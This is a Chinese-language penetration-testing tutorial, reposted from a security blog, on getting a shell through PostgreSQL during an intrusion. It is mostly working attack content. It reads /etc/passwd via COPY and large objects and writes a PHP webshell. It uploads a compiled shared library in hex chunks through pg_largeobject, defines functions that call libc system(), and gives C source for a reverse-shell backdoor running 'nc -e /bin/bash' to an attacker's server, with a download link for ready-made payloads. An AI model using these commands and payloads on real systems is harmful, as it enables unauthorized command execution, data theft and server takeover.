from:http://www.jianfensec.com/postgresql_getshell.html
0x00 前言
研究postgresql数据库如何getshell是在渗透中遇到一个pgAdmin的web管理页面可以直接操作postgresql且通过网上的文章没有达到9.6版本getshell的效果所以便有了以下文章。解决新版本写入函数so文件创建函数失败问题.
0x01 postgresql测试环境搭建
安装过程: devel库一定要安装后面用来编译后面需要扩展库postgres.h
yum install postgresql96-server postgresql96-contrib postgresql-devel
postgresql-libs
postgresql默认不支持用root启动所以需要建立用户:
useradd postgres
passwd postgres
然后需要建立一个data目录并给postgres用户为所有者权限
mkdir /usr/pgsql-9.6/data
chown -R postgres /usr/pgsql-9.6/data
然后在
/usr/pgsql-9.6/bin/initdb 初始数据库(必须做)
启动数据库
/usr/pgsql-9.6/bin/pg_ctl -D /usr/pgsql-9.6/data -l logfile start
关闭数据库
/usr/pgsql-9.6/bin/pg_ctl stop
进入数据库命令行界面
psql -d template1
创建数据库
CREATE DATABASE postgre;
查看密码 密码=MD5(user+password)
SELECT usename, passwd FROM pg_shadow;
0x02 读写文件
因为和mysql一样利用UDF进行提权所以需要上传文件
1.读文件
1.1 创建数据表把读到的文件copy入表:
drop table wooyun;
CREATE TABLE wooyun(t TEXT);
COPY wooyun FROM '/etc/passwd';
SELECT * FROM wooyun limit 1 offset 0;
1.2 利用postgresql大对象处理来读文件:
Select lo_import('/etc/passwd',12345678);
select array_agg(b)::text::int from(select encode(data,'hex')b,pageno
from pg_largeobject where loid=12345678 order by pageno)a
2.写文件
2.1 普通文件写入(webshell):
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
2.2 二进制文件写入(利用大数据对象):
这里需要分片进行上传就是将文件分成小于等于2KB大小的hex再进行上传,但是在9.6版本中(我测试的版本)必须切割等于2KB的数据上传才会成功,具体到命令执行处详细说明.
ERROR: pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378
首先创建一个OID作为写入的对象,然后通过0,1,2,3...分片上传但是对象都为12345最后导出到/tmp目录下,收尾删除OID
SELECT lo_create(12345);
INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
SELECT lo_export(12345, '/tmp/test.so');SELECT lo_unlink(12345);
0x03 命令执行
1.1 低版本的命令执行
可以直接调用/lib/libc.so.6或者是/lib64/libc.so.6
一般8.2以下的版本可以
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system'
LANGUAGE C STRICT;
CREATE FUNCTION system(cstring) RcETURNS int AS '/lib64/libc.so.6', 'system'
LANGUAGE C STRICT;
直接可以执行
select system('id');
1.2 高版本的命令执行
当postgresql版本高于8.2存在安全机制无法调用系统libc.so.6所以需要自己利用UDF进行命令执行
ERROR: incompatible library "xxx.so": missing magic block HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
第一步可以先查看postgresql支持的扩展语言:
select * from pg_language;
如果支持python perl就很简单和低版本一样直接创建调用详情可参考以下文章:
http://static.hx99.net/static/drops/tips-6449.html
当不存在其他扩展语言时,postgresql默认支持C,所以要自己传一个编译好的so库去创建可执行命令函数.这里可以使用简短的反弹shell后门
编译反弹shell后门
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;
#endif
text *exec(){ system("nc -e /bin/bash vpsIPaddress 2333");
}
编译环境见文章头部这个需要在/usr/pgsql-9.6/include/server/目录下执行应为存在postgres.h头部调用的库
gcc hack.c -I`pg_config --includedir-server` -fPIC -shared -o udf.so strip -sx udf.so #缩减so文件大小
将文件hex后去除n
cat udf.so | xxd -ps | tr -d "n"
接下来我们需要将udf.so文件分割成每2048字节的块,最后一个块的大小不满足2048字节不需要考虑.
为什么不能小于2048?是因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节所以上传的文件才会一直创建函数失败.
用python脚本去分割udf.so文件
#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys
if __name__ == "__main__": if len(sys.argv) != 2: print "Usage:python " + sys.argv[0] + "inputfile" sys.exit() fileobj = open(sys.argv[1],'rb') i = 0 for b in fileobj.read(): sys.stdout.write(r'{:02x}'.format(ord(b))) i = i + 1 if i % 2048 == 0: print "n" fileobj.close()
接下来我们根据写文件去写入再创建函数就可以反弹shell成功
CREATE OR REPLACE FUNCTION exec() RETURNS text AS '/tmp/1.so', 'exec'
LANGUAGE C STRICT;
select exec();
如果在内网无法反弹可以使用sqlmap作者关于udfhack的so文件已经写好了在github直接下载编译即可,编译方法同上.
https://github.com/sqlmapproject/udfhack/tree/master/linux/64/lib_postgresqludf_sys
这里我直接给出hex分片过sql语句直接写入即可创建成功
链接:https://pan.baidu.com/s/1i6gEgAT 密码:b061
0x04 参考资料
http://www.91ri.org/6507.html
http://static.hx99.net/static/drops/tips-6449.html
http://www.voidcn.com/article/p-sunyuemo-nw.html
https://www.jianshu.com/p/ba0297da2c2e
http://www.postgres.cn/docs/9.4/catalog-pg-largeobject.html
https://github.com/sqlmapproject/udfhack/
本文始发于微信公众号(关注安全技术):渗透中利用postgresql getshell
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论